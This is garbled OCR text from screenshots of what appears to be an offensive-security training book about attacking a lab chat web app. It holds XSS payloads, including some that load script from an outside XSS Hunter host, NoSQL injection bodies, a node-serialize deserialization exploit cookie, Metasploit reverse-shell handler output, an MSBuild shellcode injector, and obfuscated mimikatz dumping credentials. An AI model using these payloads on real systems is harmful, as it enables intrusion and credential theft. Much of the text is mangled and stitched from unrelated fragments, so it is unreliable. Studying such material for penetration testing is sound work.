[*] Agent N6LM348G from 10.100.100.222 posted public key

[*] Agent N6LM348G from 10.100.100.222 posted valid PowerShell RSA key

[*] New agent N6LM348G checked in

[+] Initial agent N6LM348G from 10.100.100.222 now active (Slack)

[*] Active agents:

*

Tasked N6LM348G to run TASK_CMD_JOB
Agent N6LM348G tasked with task ID 1
Tasked agent N6LM348G to run module powershell/situational_awareness/network/powerview/get_user
Tasked N6LM348G to run TASK_CMD_JOB
Agent N6LM348G tasked with task ID 2
Tasked agent N6LM348G to run module powershell/situational_awareness/network/powerview/get_compy

* = e

*

Sending agent (stage 2) to N6LM348G at 10.100.100.222
Agent N6LM348G returned results.

Valid results returned by 10.100.100.222
R R R R I O R R R R R R R RRRRRRRRRRSSSEBEEBBEBBDBEEEESSDZDZNZIZI.L

e (D P e e e e -
*

*
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@ | view-source:http://chat:3000/xss?name 1=%3Cscript%3Ealert(1)%3C%2F script%
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PS C:\Users\Public> . .\Invoke-InternalMonologue.psi
PS C:\Users\Public> Invoke-InternalMonologue
Running with default settings. Type -Help for more information.

neil.pawstrong: :CYBERSPACEKITTE:42a4b44d4cfd12963ca3937140c76adea67d18864e7b3f7b:42a4b44d4cfd129¢
3f7b:1122334455667788

NEIL$::CYBERSPACEKITTE:deb82be43eae58e16c180bf2e7289dbe8603b87b96bBOChS :deb82be43eae58e16c180bTf2¢
334455667788

PS C:\Users\Public>
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) ® | chat:3000/xss?name 1=&name2=<script>alert(1)<%2Fscript>&name3=&name4=&name5=

& Chat Support Systems

Exercise 1

Exercise 2
Unescaped String Interpolation

p No results found for ! {name2}

<scrip!>alert(1)<lscript>|

No results found for

Exercise 3

Exercise 4

Exercise 5

Submit

Most Visitedv [l Offensive Security "\ Kali Linux " Kali Docs “§ Kali Tools & Exploit-DB Wy Aircrack-
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::CreateProcessFromParent (852

(c> 2816 Microsoft Corporation. All rights reserved.

IC:\Users\cheetz\Desktop>whoamni
nt authority\system

C:\Users\cheetz\Desktop>_
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chat:3000/xss?name 1=&name 2= &name 3=&name4=&name5=[][([1%2B[])[%2B]%2B([0]%280[0)) &I | ¢ | @ [Q Search

Visitedv [llOffensive Security "\ Kali Linux "\ Kali Docs "\ Kali Tools # Exploit-DB W Aircrack-ng gifKali Forums '\ NetHunter @

& Chat Support Systems

Escaped String Interpolation into escaped dynamic inline Javascript

scc%?tﬁse r3 = #{name5};

p No results found for #{name5}

++ODH0++0+0D0 X

No results found for Q[('0+0)+M+COH+OMDH+0+H+0H+CO+D+0++ M+ Q0+ +TH+C0+DE+0++ 0+ M+ 0D+ +IIOCD+D T
[FOHCO+D R+ 000 0D+ D PO+ 00 00O D+D I+ MDD [+ + 0+ 0+ C O+ D P+ 0+ 01+ 0+ D D+ O+ +
DEHIHCO+D+0+ 0+ I+ 0D D+ 0D+ DO+ 0+ OC 0+ IO MDD B+ 0+ O+ C O+ D+ 0O+ D T+
M+ 0+ M+ 0+0C 0+ D M+ O+ DD [+ +0+ I+ C O+ D+ 0+ + M+ 0+ D+ 01+ C' 0+ D0+ D+ + 0+ + 0+ 0+ DI+ DD [+ 0+ F+ 0+ 0+
[+0++ 0+ IO+ DRI+ C I+ DETHCO 0O+ D+ D+ OO+ DM+ 0+ 00+ 0+ DI+ 0+ -+ 00+ DO 0+ D+ 0+ 0+ 01+
DED+CO+0MDHH+0+ I+ C 0+ D+ 0+ +M+C0+D+D+C'0+D I+ 0+ + 0+ + 0+ C0+D DD P+ 0+ +0++0D O
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[ﬁj Request to http://chat:3000 [10.100.100.230)

poST /loginnosql HTTE/1.1
ost: chat:3000
mer-Agent: Mozilla/5.0 (x11; Linux x86_64

Chat Support Systems - Mozilla Firefox e e

ccept: application/json, text/javascript,| | ChatSupport Systems x\mtpzlldlataoolvxss?na_ x | http://chat:3000/xss?na.. % |+
Reccept-Language: en-us,en;q=0.5 o B

t-Encoding : ip, deflate { . | |
:::l:ﬂ:n:ttp:w/clq\:tl:lm);/m:uql ( @ @ A & | chat:3000/nosql | ® |Q Search | »

ontent-Type: application/json; charset=ut:
-Requested-With: XMLHTtpRequest

ntent- Length: 39

kie: connect.sid=s%iAlRWEkbFc2ghoPaoyg
nnection: close

[ Most Visitedv JllOffensive Security "\ Kali Linux "\ Kali Docs "\ Kali Tools  Exploit-DB

(“usernamer:*admin®, "password": *admin*)

Username:

o Chat Support famn |
Systems Pa——

Home  Sign Up

We are here to support
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[ Raw | params | Headers [ Hex

POST /loginnosql HTTP/1.1

Host: 10.100.100.94:3000

User-Agent: Mozilla/5.0 (X11; Linux 1686; rvy
Accept: application/json, text/javascript, *
Accept-Language: en-US,en;g=0.5
Content-Type: application/json; charset=utf-
X-Requested-With: XMLHttpRequest

Referer: http://10.100.100.94:3000/nosql
Content-Length: 38

Cookie: io=Lpaagc7rc3RsQREIAAAD; connect.sid
Connection: close

{"username":"admin", "password";{"$gt":""}}
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POST /loginnosql2 HTTP/1.1
Host: 10.100.100.94:3000
User-Agent: Mozillas5.0 (X11; Linux 1686; rv:45.0
Accept: text/html,application/xhtml+xml,applicati
Accept-Language: en-US,en;q=0.5

Referer: http://10.100.100.94:3000/nosql2
Cookie: io=Lpaagc7rc3RsQREIAAAD; connect.sid=s%3A
Connection: close

Content-Type: application/x-www-form-urlencoded
Content-Length: 41

username=admin&password[ $gt ]=&submit=1ogin|
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(frefox)

sl

iQuery(
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AngulorJS <ifrome ng-src=javascript:..>
Trigger ongular.element

ore invalid URL encode:
va%Bascript:alert(1)

loaderinfo parometers
SharedObject getlocal
LocalConnection allowDomain(™)

<object ld"prl alen(ll (1

HTMLid ottribute (IE) dato=//torget.swl

Security.allowDomain(™)

arg 1: alert(1)
\")lcatch(e){olert(1)}//

1. 2q=%EDRAO%S0\") ) Jcatch(e)
Fash {alert(1)}//
\ Extemalinterface.call 2.vor
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3.
Externalinterface.call("‘console o
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<img src=evil.swh>
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himiText

navigateToURL
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4 Online Browsers
4 jchat
? 8@127.001
» (L) Ofmine Browsers.

@ Fake Flash Update

|| Getting Stared = Logs | Current Browser
i = | S G =
|| Detaits || Logs || Commands || Rider || XssRays || Ipec || Network | WebRTC |
earch id~ date label Description:  Prompts the user to install an update to Adobe Flash Player.
i Saower &9 S T ¥ The delivered payload could be a custom file, a browser extension or any
y Extension: The provided BeEF Firefox extension disables PortBanning (ports 20, 21, 2]
i cone L) 143) enables Java, overrides the UserAgent and the defaok nomemew..
_JDebug (9) See /extensionsipec/ies/LinkTargetFinder directory for the Firefox exten:
» (_)Exploits (78) code.
JHost(22) The Chrome extension delivery works on Chrome <= 20, From Chrome 21
_JIPEC (9) changed interms of how exensions can be loaded. o
Jextensions/demosMash_update_chrome_extension/manifest /son
> (] Metasploit (1) and a sample extension that works on latest Chrome.
_JMisc (16)
__INetwork (19) L 180
(Persistence (5) .
4 ://0.0.0.0:. h X
, C3Phonegap (16) Image: hitp://0.0.0.0:3000/adobe/flash_update.png
4 -3 Social Engineering (21) Payload: Custom_Payload v
@ Sieacing Custom https://github.com/beefproject/beet/archive/master.:
« Fake LastPass Payload URI:
. Leamtuf Download
@ Clippy
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Chat Support Systems x |\ +
& @ |chat X amel=&n ) t ttp%3 1 1%3A3( F Blc|@®

iMost Visitedv [l Offensive Security "\ Kali Linux "\ Kali Docs "\ Kali Tools # Exploit-DB WyAircrack-ng gdKali Forums '\ NetHunter @ G

& Chat Support Systems
Exercise 1

Unescaped String Interpolation
An update to Adobe® Flash® Player is avallable.

p No results found for ! {name2}
This update includes improvements in usability, online security and
stability, as well as new features which help content developers deliver
name2 rich and engaging experiences.

No results found for Did you know...

* The top 10 Facebook games use the Flash Player. To see more,
visit: www.adobe.com/games.

* Most of the top video sites on the web use Flash Player

« Flash Player is installed on over 1.3 billion connected PCs

Note: If you have selected to allow Adobe to install updates, this update
will be installed on your system automatically within 45 days or you can
choose to download it now.

REMIND ME LATER
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C @ Secure  https://xsshunter.com/app

& XSS Fires £ Collected Pages
<script> Tag Payload - Basic XSS payload.

"><script src=https://cheetz.xss.ht></script>

javascript: URI Payload - For use where URI's are taken as input.

javascript:eval('var a=document.createElement(\'script\');a.src=\'https://cheetz.xss.ht\';document.body.appendChild(a)')

<input> Tag Payload - For bypassing poorly designed blacklist systems with the HTML5 autofocus attribute.

"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1IbnQuY3JIYXRIRWxIbWVudCgic2NyaXB0Ilik7YS5zcmM9Imh0dHBzOi8vY2

& C' @ Secure https://xsshunter.com/app

XSS Fires @ Collected Pages
W XSS Payload Fires
Thumbnail Victim IP  Vulnerable Page URI
Home  Chat http://chat:3000/xss?name1=&name2=%3Cscript+src%3Dhttps%3A...

@& Chat Support Systems

e
e 3
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- C @ @ view-source:http://127.0.0.1:3000/chatchannel/1 - O W

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>|
$('#cover').fadeOut(5000) ;
});</script><script>var flashingSpeed = 356;
$(function () {
var socket = io();
$('form').submit(function(){
socket.emit('channelchat', $('#m').val());
$('#m').val('');
return false;

H;
socket.on('channelchat', function(msg){
$('#messages').append('<li style="color:'+msg.color+';">'+msg.name+': /li>' );
)s('.messagevindw").stop().aninate({ scrollTop: $(".messagewindow") [@]TSTTOttHETYTY;" 1000);
);
});</script><div id="cover"><p>Loading</p></div><div class="center"><div class="navigation"><div class="left"><div class

“</title><meta name="viewport" content="wi
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vRaw Queryv \

MATCH (n) WHI sh” RETURN n
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= C @ Secure https://cyberspacekittens.com

Welcome to Cyber Space Kittens
cyberspacekittens.com
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Payload Editor

Selected Payload: MSBuild.exe based shellcode injector

[0] ListenerDomain 10.100.1600.9
[1] List ort: 8080
[2] Output: shellcode.xml

v Or exit: generate

Execute with: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe shellcode.xml
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& Chat Support Systems

Send message to user:
<script>alert(1)</script>

Comment:
[test

Link:

]

Send Reset Preview link

i(- ) ED iEhat:73066/t7i77user=<scrT;)t>alér{(l)<%2F§c}ip;>&comniwen7t=ge;t8:

[ Most Visitedv  JflOffensive Security "\ Kali Linux "\ Kali Docs "\ Kal
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Request

Params | Headers | Hex

GET /tizusedku3cscripey3balercy281420%3Ci2Fscriprs3Edconment=¢link= HTTP/1.1

Host: chat:3000

User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winé4; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://chat:3000/directmessage

Cookie: donotdecodeme=eyJtbZRIbGUiOiJubZRILXN1lcmlhbGlEZSJ9;
connect.sid=s%3Axw7AQ5tZ3S-04QuyqTridso7cNBSAjtV.2adRr4zwArLnOy7Xkvn7i9ws2F£82 IFZNcTIWNP% 2FgHh8g
Connection: close

Upgrade-Insecure-Requests: .|.|

? o< + >. Type a search term

Response

R Headers | Hex | HTML | Render

HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: text/html; charset=utf-8

Content-Length: 11é

ETag: W/"74-h0ilOitwboqsG+TUrSpkUZsRISo"

set-cookie: connect.sid=s%3AL9dErr4qUeqVwnZGInLV7YiKGlEsZuvy. iOBMSIN7FKAMTMTPwTK4dN2 YHIGKE%2BUGtk2G%2FFrXmd4; Path=
GMT

Date: Tue, 10 Apr 2018 05:00:32 GMT

Connection: close

<meta http-equiv="refresh" content="3;url=/directmessage"”/><p>Message has been sent to |[<script>alert(1l)</scriptX/p
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=[ metasploit v 16.28-dev
-- --=[ 1716 exploits - 985 auxiliary - 300 post
-- --=[ 507 payloads - 40 encoders - 10 nops
-- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp

G ol ol

[*] Processing shell2.rc for ERB directives.

resource (shell2.rc)> use multi/handler

resource (shell2.rc)> set payload windows/meterpreter/reverse http
ayload => windows/meterpreter/reverse http I

Eesource (shell2.rc)> set LHOST 10.100.100.9

HOST => 10.100.100.9

esource (shell2.rc)> set LPORT 8080

PORT => 8080
Eesource (shell2.rc)> set ExitOnSession false
xitOnSession => false

resource (shell2.rc)> exploit -j

(*] Exploit running as background job 0.

[(*] Started HTTP reverse handler on http://10.100.100.9:8080

mnsf exploit( r r) > [*] http://10.100.100.9:8080 handling request from 10.100.10
.197; (UUID: ratSorp6) Staging x86 payload (180825 bytes)

(*] Meterpreter session 1 opened (10.100.100.9:8080 -> 10.100.100.197:51085) at 2018-03-1

25.35.45 -0700
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Request

GET]/ti?user=9*S&comment=&link=

Host: chat:3000
User-Agent: Mozilla/5.0 (Vindows NT 10.0; VWiné4; x€4; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://chat:3000/directmessage

Cookie: donotdecodeme=eyJthZRIHGUiOiJubZRILXN1cmlhbGlEZSI9;
connect.sid=s%3Axw7AQ5tZj5-04QuyqTridso7cNBSAjtV.2adRr4zwArLnOy7Xkvn7i9ws2F£82 IF ZNcTjWNP% 2 FgHY
Connection: close
Upgrade-Insecure-Requests: 1

¥d < + > | | Type a search term

Response

-m Headers | Hex | HTML | Render

HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: text/html; charset=utf-8

Content-Length: 9S4

ETag: W/"5e-zO02bkS5IRoYjpxn2fylaswmHZaG4"

set-cookie: connect.sid=s%3A49LCDYyUVtNTUw4CysSPITHIxhSAPX1lhh.byk]jZveWPOAViikkXF5YF3Ax2MfiGost
Date: Tue, 10 Apr 2018 05:03:17 GMT

Connection: close

<meta http-equiv="refresh" content="3;url=/directnessage "/><p/ P

HTTP/1.1
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<\v4.0.30319\MSBuild.exe shellcode.xml
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Request

i
F

GET |/ti?user=%0a%3d9*9&comment=&link=

Host: chat:3000

User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winé4:; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: cext/html,applicacion/xhcm1+xml,applicacion/xml:q=0.9,'/':q=0.d

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://chat:3000/directmessage

Cookie: donotdecodeme=eyJtbZRIbGUiOiJubZRILXN1cnlhbGlEZSJ9;
connect.sid=s%3Axw7AQ5tZjS-04QuyqTrjdso7cNBSAjtV.2adRr4zwArLnOy7Xkvn7i9ws2F£82 IF ZNcTjWNP%ZFgHh8(
Connection: close
Upgrade-Insecure-Recquests: 1

rd < + > Type a search term

Response

I@] Headers I Hex | HTML l Render

HTTP/1l.1 200 OK

X-Povered-By: Express

Content-Type: text/html; charset=utf-8

Content-Length: 93

ETag: W/"5d-MOsgBndlYIIyRBbiFjkDpnpufoA"

set-cookie: connect.sid=s%3A0LiQIvGQRawQewSM4YFFH3NOZRDZVZIgs.vkFKubdGEPyt7%2B81XEDzH7wEIkZ%2FWR!
05:09:38 GMT

Date: Tue, 10 Apr 2018 05:08:38 GMT

Connection: close

<meta http-equiv="refresh" content="3;url=/directmessage"/><ppMessage has been sent to </p>81

HTTP/1.1
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Request

[Paams | osdes [

GET onment=&link= HTTP/1.1

Host: chat:3000

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:59.0) Gecko/2010010l1 Firefox/59.0
[Accept: text/htnl,application/xhtml+xnl,application/xml;q=0.9,*/*;q=0.8

[Accept-Language: en-US,en;q=0.5

[Accept-Encoding: gzip, deflate

Referer: http://chat:3000/directmessage

Cookie: donotdecodeme=eyJtb2RIbGUiOiJubZRILXN1lcmlhbGlEZSJ9;
lconnect.sid=s%3Axw7AQ5tZ235-04QuyqTrjdso7cNBSAjtV.2adRr4zvArLnOy7Xkvn7i9ws2F£82 IFZNcTJWNP%2FgHh8y
Connection: close

Upgrade-Insecure-Requests: 1

2 < + =4 | Type a search term

Response

Raw | Headers | Hex | HTML | Render

HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: text/html; charset=utf-g8

Content-Length: 10€

ETag: W/"Ea-qrcaONdEOnGkQBPMLIWVKF2PSKMy"

set-cookie: connecc.sid-si3AtNstzlprHKFQstYbuYsZLvF-sTRmT.GlbaqueossrlvﬁocBCLeroRUHvei1ésEr9Y:UHvZk: P,
Date: Tue, 10 Apr 2018 05:10:38 GMT

Connection: close

<meta http-equiv="refresh" content="3;url=/directmessage"/><pfMessage has been sent to </p>[object global]
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Request

o] P st [ x|

Host? chat:
User-Agent: Mozilla/5.0 (Windows NT 10.0; VWiné4; x€4; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://chat:3000/directmessage

Cookie: donotdecodeme=eyJth2RIDGUiIOiJUbZRILXNIcmIhbGlEZSIS;

connect .sid=s%3Axw7AQ5t23S-04QuyqTridso7cNBSAItY. 2adRr4zwArLnOy7Xkvn7 i9ws 2F£82 IF ZNc T WNP% 2 FgHhSy
Connection: close

Upgrade-Insecure-Requests: 1

2 < + > | |Type a search term

Response

M Headers | Hex | HTML | Render

HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: text/html; charset=utf-g8

Content-Length: 318

ETag: W/"13e-ESES531FmX5SD57vOqgsndlsPYBWo"

set-cookie: connect.sid=s%3AVIdt7y7ZzYKnVx7hWr0B422ytXVSTIRzk.%2FeY96BBQtRUyNSTJa81F LKu7PEJNIMZACKOSiuWMnTQ; Path=/; Expires=Tue, 10 Ap:
Date: Tue, 10 Apr 2018 05:11:37 GMT

Connection: close

<meta y="re: sh" =3z d "/><p>Mes n nt_to

</ p><p>console</p><p>global</p><p>process</p><p>Buffer</p><p>clearImmediate</p><p>clearInterval</p><p>clearTimeout</p><p>setImmediate)

p><p>setTimeout</p><p>chatSessionList</p><p>queryString</p><p>queryString2</p>
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Request

€4%E5%78

% ES%Ee%20%ETYECKELNE2%ELYEC

%EL%E3%E5%73%73

Host: chat:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://chat:3000/directmessage

Cookie: donotdecodeme=eyJtbZRIbGUiOiJUbZRILXN1cmlhbGlEZSIT;
connect.sid=s%3Axw7AQ5t23iS-04QuyqTridso7cNESAItW. 2adRr4zwArLnOy7Xkvn7i9ws 2F£82 IFZNc T WNP% 2FgHhSg
Connection: close

2 < + > Type a search term

Response

Headers | Hex | HTML | Render

HTTP/1.1 200 OK
X-Powered-By: Express

Content-Type: text/html; charset=utf-8

Content-Length: 222

ETag: W/ "de-3tTrXEBEwSHUYSnWVMoEUKWUcz8"

set-cookie: connect.sid=s%3A66tFXwZ9iXd90RHpABAIIVvgOitMMoXJ . 5XgERhEKINBgNT1qeliyy3BY%2BMoTCAXPMhU48UESyqU; Path=/; Expiress=
Date: Tue, 10 Apr 2018 05:13:12 GMT

Connection: close

<meta http-equiv="refresh"” content="3;url=/directmessage"/><p>Message has been sent to
</p><p)id</p><p)exports</p><p)palant</p)<p>ii1anm</p)<p>loaded</p>(p)childx‘an</p>(p>patha</p><p)load</p><pp><p)
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lib/serialize.js JavaScript
Showing the top match Last indexed on Sep 15, 2016

} else if(typeof obj[key] === 'string') {
if(obj [key].indexOf (FUNCFLAG) === @) {
obj [key]l = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
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) invoke_mimikatz_obf.ps1
- | @ ~/Desktop/invoke_mimikatz_obf.ps1 .

nttp://:lylbzr.vordpress.:o-/zau/u/wlmifyinq—-uikntz—to—he—louﬁ 1 ;un:unn Vaibxr-Zvzvxngm
E 2
3
[CmdletBinding(DefaultParameterSetName="DumpCreds")] 4 [CmdletBinding(DefaultParameterSetName=("Dump"+"Creds"))]
Param( 5 Param(
[Parameter(Position = 8)] 6 [Parameter(Position = 0)]
[String(]] 7 [String(]]
$ComputerName, 8 y
9
[Parameter(ParameterSetName = "DumpCreds”, Position = 1)] 10 [Parameter(ParameterSetName = ("Dump"+"Creds"), Position = 1)]
[Switch] 1 [Switch]
$DumpCreds, 12 $QhzcPerqf,
13
[Parameter(ParameterSetName = "DumpCerts”, Position = 1)] 14 [Parameter(ParameterSetName = ("Dump“+"Certs"), Position = 1)]
[Switch] 15 [Switch]
$DumpCerts, 16 $QhzcPregf,
17
[Parameter(ParameterSetName = “CustomCommand”, Position = 1)] 18 [Parameter(ParameterSetName = (“Custom"+"Command"), Position = 1)]
[String] 19 [String)
$Command 20 $Pbzznaq
) 21 )
2
Set-StrictMode -Version 2 23 Set-StrictMode -Version 2
2
25
$RemoteScriptBlock = { 26 $ErzbgrFpevcgOybpx = {
[CmdletBinding()] 27 [CmdletBinding()]
Param( 28 Param(
(Parameter(Position = @, Mandatory = $true)] 29 [Parameter(Position = @, Mandatory = $true)]
[String] 30 [String]
$PEBytes6d, 31 $CROlgrf64,
32
[Parameter(Position = 1, Mandatory = $true)] 33 [Parameter(Position = 1, Mandatory = $true)]
[String] 34 [String]
$PEBytes32, 35 $CROLgrf32,
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0sT flogin HTTP/1.1
Host: chat:3000
Peer-agent: Mozilla/5.0 (x11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
hccept: text/html,application/xhtml+xzml,application/xml;g=0.9,+/*;g=0.8
koccept-Language: en-uUs,en;g=0.5

kocept-Encoding: gzip, deflate

referer: http://chat:3000/?rurl=

fookie: donotdecodeme=eyJth2R1bGUiOiJub2R1LXN1cmlhbGl6ZSTI

Fonnection: close

Ppgrade- Insecure-Requesta: 1

Fontent-Type: application/x-www-form-urlencoded

Fontent-Length: 48

hesername=asdfasdf apassword=aadfasdfasubmit=login

ey)tb2R1bGUIOIjub2RILXNIcmIhbGI6ZS)9

{"module":"node-serialize"}

| Hash ...

Smart decode
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Tests-MacBook-Pro:Desktop test$ python hidemyps.py invoke_mimikatz.psl invoke_mimikatz_obf.psl

[-]PowerShell Encoding Tool
[-Iwritten by Peter Kim

[*] Starting Encoding PowerShell Script
[*] Modifying variables, function names, strings, removing comments
[*] Encoding Finished
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(| reet | e [ Spder [ Scamer | inuder |
[ [ oy [ worsookmamooy Jopions ]|

(#] Request to http:/ichat:3000 [10.100.100.15]

Headers | Hex

GET / HTTP/1.1

Host: chat:3000

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:59.0) Gecko/20100101

Firefox/59.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;¢q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie:
donotdecodeme=eyJ0aHALIOiJ£JCRORFOGVUSDICREZNVUY3Rph24gKC1l7cnVxdWlyZSgnYZ hphGRECHIVY2
zcycpLnV4ZWMoJd2ViaG8ghmOkZSBkZXN1lcnlhbGlEYXRphb24gaXMgYXdlc29t ZSEhID4+ICO9vecHQvAZViL
NoYXRTAXBwh3J0U3 1zdGVtcy9wdWisaWMvaGFjaZVkLnR4dCcsIGZ 1bmNOaWSuKGVycm9yLCBzdGRvdXQs
IHNOZGVycikgeyBib25zb2x 1LnxvZyhzdGRvdXQp THOpO300KSJ9

onnection: close

Upgrade-Insecure-Recuests: 1

If-Modified-Since: Mon, 27 Nov 2017 04:08:58 GMT

If-None-Match: W/"10db-15ffba9ebg90"
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//deg;rial‘\zat"\.on LR R e e e
app.get('/', function(req, res){

var sess = req.session;
console.log(sess);
if(req.cookies.donotdecodeme) {
var str = new Buffer(req.cookies.donotdecodeme, 'base64').toString();

var obj = serialize.unserialize(str);
}else{

res.cookie('donotdecodeme',"eyJtb2R1bGU101Jub2R1ILXNLcmlhbG16ZS39", {maxAge: 1000000,httpOnly:false});
}
if(req.query.rurl){

req.session.rurl = req.query.rurl;

res.sendFile(__dirname + '/nav.html');

1)
//end deserialization *****kkdssihsihhs
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cheetz\Desktop>powershell -exec bypass
"Shell

ft Corporation. All rights reserved.

C:\Users\cheetz\Desktop> . .\not katz.psl
C:\Users\cheetz\Des p> Vaibxr-Zvzvxngm
name: DESKTOP / §-1-5-21-

AR mimikatz 2.1.1 (x64) built on Nov 12 2017 15:32:00

. "A La Vie, A L'Amour" - (oe.eo)

; in DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
> http: //blog.gentilkiwi.com/mimikatz

C LE TOUX ( vincent.letoux@email.com )
R > http: //pingcastle.com / http://mysmartlogon.com XA

ar

mimikatz (powershell) # sekurlsa::logonpasswords

Authentication Id : @ ; 1247211 (00000000:001307eb)
Session : 2
Name
Domain 3
Log Server : DESKTOP

Time : 3/17/2018 11:21:14 PM
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PS C:\WINDOWSsystem32> .( LTOSTRiINg()[1,3]
].GeTmembersS{)[2].nAMe).iNVOKE{ [runTIME.INteROPSERvIces.mA

Hostname: DESKTOP

tREBRRR > http://pingcastle.com / http:

mimikatz{powershell) # sekurlsa::logonpasswords

futhentication Id : @ ; 4349317 (20202020: 2@425d55)
Session : RemoteInteractive from 1
ser Name : cheetz

| coNverttO-secUrEstrINg

CERERE mimikatz 2.1.1 (x64) built on Nov 12 2@17 15:32:@@

artlogon.com

3¢  [ruNtImE.iNterop WICES
ECureStRIngt0GloBalAl locuNicODe($(

A% S ##. "A La Yie, A L'Amour" - (oe.eo)

## /N ##  ¥¥*% Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
## 0\ F ## > http://blog.gentilkiwi.com/mimikatz

T#E v #R Wincent LE TOUX

{ vincent.letoux@gmail.com )

ek
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Event 800, PowerShell (PowerShell)

General Details

© FriendiyView O XML View

+ System
- EventData

& (“RHIHOY™f ( “(OH1)" -f - Type' ) 'd"’Ad" ) -Asse ("(2{1HO}" -f( {OHTH2)" -f ‘sentati’’on’, Core’),'e’Pr') ; & ( ${s'HEILId)[1]+ ${she'LliD}[13] +'x')
( ( [sysTEM.Windows.CLIpbOaRD]:("(1}0}" -FXt,(*(0}1)" -Fg' ELTE') ). iINV'O'kE"()) ); [System Windows.Clipboard]:(*(2{1}0)"™-f ‘xt, e’ "(1}0}" -

fetT,'S"))."in VOKE™(" ")

DetailSequence=1 DetailTotal=1 SequenceNumber=15 Userld=DESKTOP-5PKG8BF\cheetz HostName=ConsoleHost HostVersion=5.1.16299.251
Hostid=dSefba80-d4df-4d80-8f0d-0faadcc07582 HostApplication=pOWERSHEIL -sT & ( "(2{1{0}"-f ( "{(0{1}" ‘Type'), ') -Asse ("2H1KO)" -f( "{0K1}
{2)" -f ‘sentati’,'on’,'Core’),'e’,Pr' ) ; & ( ${s HEILI}[1]+ ${she’LliD}[13] +'x )( ( [sysTEMWindows.CLIpbOaRD]=("{1}{0})" -FXt' ({0} 1}" -

g’ EtTE') )."INV'O'KE™()) ); [System.Windows.Clipboard]:("(2{ 1H0}™-f 'xt’'e",( "{1}{0)" -FetT",'S"))."in'VOKE"(" ') EngineVersion=5.1.16299.251
Runspaceld=c1ca96a9-6506-4897-b6dc-49483818af67 Pipelineld=1 ScriptName= CommandLine=& ( "(2{{1H0)"-f ( "{0}{1)" -f -', Type' ), 'd"'Ad" ) -Asse ("{2}
{1{0)" -f( “(O{1}{2)" -f ‘sentati’,’'on’, Core’),'e’, Pr* ) ; & ( ${s'HEILId)[1)+ ${she’L'liD}{13] +'x")( ( [sysTEM.Windows.CLIpbOaRD):("{1{O}" -FXt,("(0}{1)" -

g/ EtTE') )."INV'O'kE"()) ); [System.Windows.Clipboard]:("{2{ 10} "-f 'xt’,'e’,( "{1}{0)" -FetT",'S"))."in'VOKE"(" *)

Commandinvocation(Add-Type): “Add-Type~ ParameterBinding(Add-Type): name="AssemblyName"; value="PresentationCore"
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€) © 2 | chat:3000/10gin c | @ [Q search

Most Visitedv [flOffensive Security " Kali Linux "\ Kali Docs '\ Kali Tools
Issue:

V7|

Upload files associated with your ticket.

Upload title:

g D

122 http://chat:3000 POST [fileUpload

Raw | Headers | Hex !:5' :

<div>
<input id="upl" type="file" name="upl":>
</div>
<div class="FUButton">
<button type="submit">Upload</button>
</div>
</form>
</fdiv>
<p>Upload successfull </p>
<gcript>{path: "uploads/146dae25d411472a374aT716££6b059d5 "} </script>

</div>

<!--dev feature dynamic routing - "/drouting”
Please remove in PROD!-->

<br>

<br>
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€ ) ® | chat:3000/drouting?filename=../uploads/146dae 25d411472a374a716ff6b059d5

1Most Visitedv JllOffensive Security S Kali Linux S Kali Docs “& Kali Tools # Expld

root@THP-LETHAL: ~
File Edit View Search Terminal Help

:~# nc -1 -p 8888

index.html
index.js

nav.html
navnosql2.html
navnosql.html
navsuccess.html
node modules
package.json
package-lock.json
public

uploads

views
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Couche base
de données

Couche Web Service réseau

Application Web

DMZ
] Internet

Ports 80/443

Attaquant
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[ € ) ® & | chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:3000

[ Most Visitedv Jll Offensive Security " Kali Linux "% Kali Docs "\ Kali Tools # Exploit-DB Wy Aircrack-ng

& Chat Support Systems

We are here to support you.
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root@thpkali: ~ -]

File Edt View Search Terminal Tabs Help

nlosds % t@thpkal x root@thpkali: ~ x a

Current Users inet6 fes0::3a29:73a2:83el: 1136 prefixlen 64 scopeid Ox20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC
RX packets 11 bytes 1120 (1.0 KiB)
Search | | Reset RX errors @ dropped 0 overruns © frame ©
TX packets 29 bytes 1794 (1.7 KiB)
TX errors @ dropped O overruns 0 carrier 8 collisions @

Bytes ’
Common  peal Address VPNAddress  Sent  Conmection g :~4 ping 19.100.100.2
Name of data

Received  Duration PING 10.100.100.2 (10.100.100.2) 56(84) bytes
